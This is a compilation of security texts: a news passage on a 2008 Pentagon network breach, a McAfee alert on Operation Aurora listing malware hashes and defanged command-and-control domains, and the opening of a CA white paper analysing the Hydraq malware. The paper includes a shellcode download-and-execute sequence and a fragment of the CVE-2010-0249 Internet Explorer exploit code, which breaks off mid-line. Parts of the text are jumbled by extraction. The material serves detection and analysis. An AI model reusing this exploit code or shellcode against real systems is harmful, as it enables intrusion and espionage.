to identify the instigator of an attack. But he also presents new details about the Defense Department's cyberstrategy, including the development of ways to find intruders inside the network. That is part of what is called "active defense." He puts the Homeland Security Department on notice that although it has the "lead" in protecting the dot.gov and dot.com domains, the Pentagon - which includes the ultra-secret National Security Agency - should support efforts to protect critical industry networks. Lynn's declassification of the 2008 incident has prompted concern among cyberexperts that he gave adversaries useful information. The Foreign Affairs article, Pentagon officials said, is the first on-the-record disclosure that a foreign intelligence agency had penetrated the U.S. military's classified systems. In 2008, the Los Angeles Times reported, citing anonymous Defense officials, that the incursion might have originated in Russia. The Pentagon operation to counter the attack, known as Operation Buckshot Yankee, marked a turning point in U.S. cyberdefense strategy, Lynn said. In November 2008, the Defense Department banned the use of flash drives, a ban it has since modified. Infiltrating the military's command and control system is significant, said one former intelligence official who spoke on the condition of anonymity because of the sensitivity of the matter. "This is how we order people to go to war. If you're on the inside, you can change orders. You can say, 'turn left' instead of 'turn right.' You can say 'go up' instead of 'go down.' " In a nutshell, he said, the "Pentagon has begun to recognize its vulnerability and is making a case for how you've got to deal with it." Alert January 26, 2010 How Can I Tell if I Was Infected By Aurora? McAfee Labs identified a zero-day vulnerability in Microsoft Internet Explorer that was used as an entry point for Operation Aurora to exploit Google and at least 30 other companies. Rasmon.dll: 0F9C5408335833E72FE73E6166B5A01B How can I tell if my systems were infected? b.exe 9F880AC607CBD7CDFFFA609C5883C708 If you are a McAfee VirusScan Engine customer, verify that you are using .DAT 5864 released on January 18, 2010 (McAfee has provided protection to identify this as of release 5862 and is updating as we continue to debug the attack) and perform a full scan on all machines within your enterprise, starting with most sensitive servers. If you detect the following signatures triggered: Exploit-Comele, Roarur.dr or Roarur.dll, you very likely have an infected Aurora host and should reach out toMcAfee Foundstone, our vulnerability management and protection services division, for onsite Incident Response Services. You AppMgmt.dll 6A89FBE7B0D526E3D97B0DA8418BF851 a.exe: CD36A3071A315C3BE6AC3366D80BB59C A0029670.dll 3A33013A47C5DD8D1B92A4CFDCDA3765 msconfig32.sys 7A62295F70642FEDF0D5A5637FEB7986 VedioDriver.dll 467EEF090DEB3517F05A48310FCFD4EE acelpvc.dll 4A47404FC21FFF4A1BC492F9CD23139C may also take advantage of McAfee s free Stinger product, used to clean up an Operation Aurora-infected system. If I m not a McAfee customer If you are not a McAfee Virus Scan Engine customer and your anti-malware vendor does not provide comprehensive detection for Aurora binaries, you can perform filename and md5 hash searches on your servers to determine if you have any matches that way. You should ensure that the md5 hash matches along with the filename to avoid false positives, as the filenames themselves are not unique and are very common Windows OS and other legitimate program filenames. The list of files and hashes is as follows: securmon.dll: E3798C71D25816611A4CAB031AE3C27A McAfee and/or other noted McAfee related products contained herein are registered trademarks or trademarks of McAfee, Inc., and/or its affiliates in the U.S. and/or other countries. McAfee Red in connection with security is distinctive of McAfee brand products. Any other non-McAfee related products, registered and/or unregistered trademarks contained herein is only by reference and are the sole property of their respective owners. 2009 McAfee, Inc. All rights reserved. Alert January 26, 2010 Check for outbound Web communications You can also check for outbound past or present Web communication or DNS resolutions of the following domains* known to be associated with the malware activity: ftpaccess[dot]cc 360[dot]homeunix[dot]com sl1[dot]homelinux[dot]org ftp2[dot]homeunix[dot]com update[dot]ourhobby[dot]com ad01[dot]homelinux[dot]com ads1[dot]homelinux[dot]org ads1[dot]webhop[dot]org aep[dot]homelinux[dot]com aka[dot]homeunix[dot]net alt1[dot]homelinux[dot]com amd[dot]homeunix[dot]com amt1[dot]homelinux[dot]com amt1[dot]homeunix[dot]org aop01[dot]homeunix[dot]com aop1[dot]homelinux[dot]com asic1[dot]homeunix[dot]com bdc[dot]homeunix[dot]com corel[dot]ftpaccess[dot]cc ddd1[dot]homelinux[dot]com demo1[dot]ftpaccess[dot]cc du1[dot]homeunix[dot]com fl12[dot]ftpaccess[dot]cc ftp1[dot]ftpaccess[dot]cc patch[dot]homeunix[dot]org up1[dot]mine[dot]nu hho1[dot]homeunix[dot]com hp1[dot]homelinux[dot]org i1024[dot]homeunix[dot]org i1024[dot]homelinux[dot]com ice[dot]game-host[dot]org il01[dot]servebbs[dot]com il01[dot]homeunix[dot]com il02[dot]servebbs[dot]com il03[dot]servebbs[dot]com lih001[dot]webhop[dot]net lih002[dot]webhop[dot]net lih003[dot]webhop[dot]net list1[dot]homelinux[dot]org live1[dot]webhop[dot]org patch1[dot]gotdns[dot]org patch1[dot]ath[dot]cx patch1[dot]homelinux[dot]org ppp1[dot]ftpaccess[dot]cc sc01[dot]webhop[dot]biz temp1[dot]homeunix[dot]com tor[dot]homeunix[dot]com ttt1[dot]homelinux[dot]org up01[dot]homelinux[dot]com up1[dot]homelinux[dot]org up1[dot]serveftp[dot]net up2[dot]mine[dot]nu update1[dot]homelinux[dot]org update1[dot]merseine[dot]nu jlop[dot]homeunix[dot]com on1[dot]homeunix[dot]com vm01[dot]homeunix[dot]com vvpatch[dot]homelinux[dot]org war1[dot]game-host[dot]org xil[dot]homeunix[dot]com *In the names above, [dot] is substituted for protect users from accidentally clicking and launching malicious domains. We recommend searching for outbound requests for, at minimum, the 12/10/09 to 1/6/10 timeframe. The above domains and file names and hashes may not be all inclusive of all those associated with Aurora but give a reasonable representation. If you see Web communication to any of the above sites you should analyze the origination machine immediately and reach out to McAfee Foundstone for onsite Incident Response Services. McAfee and/or other noted McAfee related products contained herein are registered trademarks or trademarks of McAfee, Inc., and/or its affiliates in the U.S. and/or other countries. McAfee Red in connection with security is distinctive of McAfee brand products. Any other non-McAfee related products, registered and/or unregistered trademarks contained herein is only by reference and are the sole property of their respective owners. 2009 McAfee, Inc. All rights reserved. CA Internet Security Business Unit | Internet Security Intelligence In-depth Analysis of Hydraq The face of cyberwar enemies unfolds Zarestel Ferrer and Methusela Cebrian Ferrer CA ISBU Senior Researchers, Melbourne Australia Abstract There are thousands of undetected online threats and malware attacks from around the world every day. Most of these attacks take place in cyberspace, where unsuspecting people fall prey to various forms of cybercrime. Common cyber criminal activity involves stealing sensitive information such as credit card details, online login credentials, browsing history and email addresses. However, notable skilled attacks occur when the target is in possession of highly-valuable information that could be leveraged as a weapon for warfare. Hydraq is a family of threats used in highly sophisticated, coordinated attacks against large and high-profile corporate networks. It is referred to as Operation Aurora, Google Hack Attack and Microsoft Internet Explorer 0-day (CVE-2010-0249). An in-depth code investigation and analysis will highlight Hydraq features and capabilities, and as it unfolds, questions will unravel on to whether the discovery of this threat is just the beginning of a global arms race against cyberwarfare. Table of Contents Introduction Anatomy of an Attack 1. How Hackers Gain Access 1.1 Reconnaissance 1.2 0Day Hack Attack 1.3 MS10-002 (CVE-2010-049) Analysis 1.4 Hydraq Binary Shellcode 2. How Hackers Maintain Access 2.1 Win32/Hydraq (EXE) Dropper: Generating Random Service 2.2 Win32/Hydraq (DLL) Backdoor: Method of Installation 3. Cyber Spy In Control 3.1 Initialization of the Backdoor Configuration 3.2 Command and Control 3.3 Backdoor Configuration: Resource Section and Registry Key 3.4 Backdoor Communication Protocol 0x00: Establishing Communication 3.5 Backdoor Communication Protocol 0x01: Execution of Client-Server Commands 3.6 Backdoor Command Reference 3.7 Backdoor Command Table 3.9 Backdoor Commands In Action Summary Safe Computing Habits Appendix A - Other variant method of installation Appendix B - Initial Handshake Appendix C - Customize Character Decoding Appendix D - Real-time Graphical Control Appendix E - Domain Name List Reference CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ Introduction In mid-December, we detected a highly sophisticated and targeted attack on our corporate infrastructure originating from China that resulted in the theft of intellectual property from Google. ... we have evidence to suggest that a primary goal of the attackers was accessing the Gmail accounts of Chinese human rights activists. This statement was taken from a Google blog post entitled "A new approach to China"[1], in which Google declared its decision to stop censoring its search results in China. Internet freedom vs cyber crime is a deep issue that crosses all boundaries; and the same brought global debate about internet censorship and human rights [2]. This incident prompted authorities and world leaders to discuss and work on matters of cyber crime; taking into consideration that cyber threats may affect national security [3]. The report Tracking GhostNet: Investigating a Cyber Espionage Network [4] as published last year, highlights cyberwarfare as a major global concern. Evidently, an increasing wealth of online information and resources will attract attackers. For highprofile threats such as Hydraq, it is important to understand the underlying attack technique and its technical details. This paper seeks to explore and discover the level of skill the attackers employed to successfully deploy this highly sophisticated attack. CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ Anatomy of an Attack [Attacker] Reconnaissance Deploying attacks Internet activity IE 0-day Exploit Attack (CVE-2010-049) [Target User] Remote Shellcode APIs shell32.SHGetSpecialFolderPathA urlmon.URLDownloadToFileA ...kernel32.CreateFileA ...kernel32.GetFileSize // decrypt downloaded file ...kernel32.CreateFileA ...kernel32.SetFilePointer ...kernel32.ReadFile ...kernel32.WriteFile ...kernel32.CloseHandle ...kernel32.CloseHandle ...kernel32.DeleteFileA ...kernel32.MultiByteToWideChar // Execute Win32/Hydraq dropper kernel32.CreateProcessInternalW [Attacker] Win32/Hydraq allows remote attacker gain control. [Target User] covert communication channel transmission of sensitive information CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ 1. How Hackers Gain Access 1.1 Reconnaissance Profiling the target is a basic principle of hacking. This refers to a reconnaissance phase where the attacker evaluates and determine ways to launch a successful attack. Reconnaissance with Whois, DNS and IP/Network could provide preliminary information about the target organization s infrastructure. In addition, a combination of social engineering and physical (on-site) reconnaissance is also considered as a valuable source of information. To learn more about the target, attackers performs passive and active scanning to understand the target network topology, platforms, ports and services, vulnerabilities and security defenses. The profiling also extends to people that have knowledge and access to the target organization including employees, contractors, and visitors. Cyber reconnaissance is very useful in this case, gathering detailed information through social networking sites and tracing digital footprints through search engine results. Attackers could compromise the circle of trust of the target, including friends, family members and even internet browsing habits can be analyzed to successfully gain access. 1.2 0Day Hack Attack Hydraq exploits the zero-day (0day) vulnerability in Internet Explorer, which is referred to as CVE-2010-0249 [5] and MS10-002 [6]. In reconnaissance stage, Hydraq masterminds have been able to devise a plan for successful hacking attack. Evidently, the authors found an opportunity to target Internet Explorer and evade security detection through an unknown vulnerability. Sophisticated social engineering tricks can then be deployed to entice target users to visit a compromised web site. 1.3 MS10-002 (CVE-2010-049) Analysis It is a common characteristic for attackers to obfuscate malicious JavaScript to conceal the code s real intentions and also avoid detection by security scanners [Listing 01]. CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ OBFUSCATED DeOBFUSCATED < Shellcode > < Exploit Code > [Listing 01 - Hydraq JavaScript (JS/Hydraq) distributed for targeted attack] In general use, obfuscation is designed for code protection regardless of whether the intentions are good or bad. Hydraq s malicious JavaScript contains code that takes advantage of Internet Explorer (IE) HTML object handling flaw and is triggered when IE tries to access a deleted or incorrectly initialized HTML object. [Listing 02] Once the exploit attack is successful, Hydraq s binary shellcode will then execute on the target system. var e1=null; function ev1(evt) e1=document.createEventObject(evt); document.getElementById("sp1").innerHTML=""; window.setInterval(ev2, 50); function ev2() p="\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\ u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0 d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0 c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d" for(i=0;i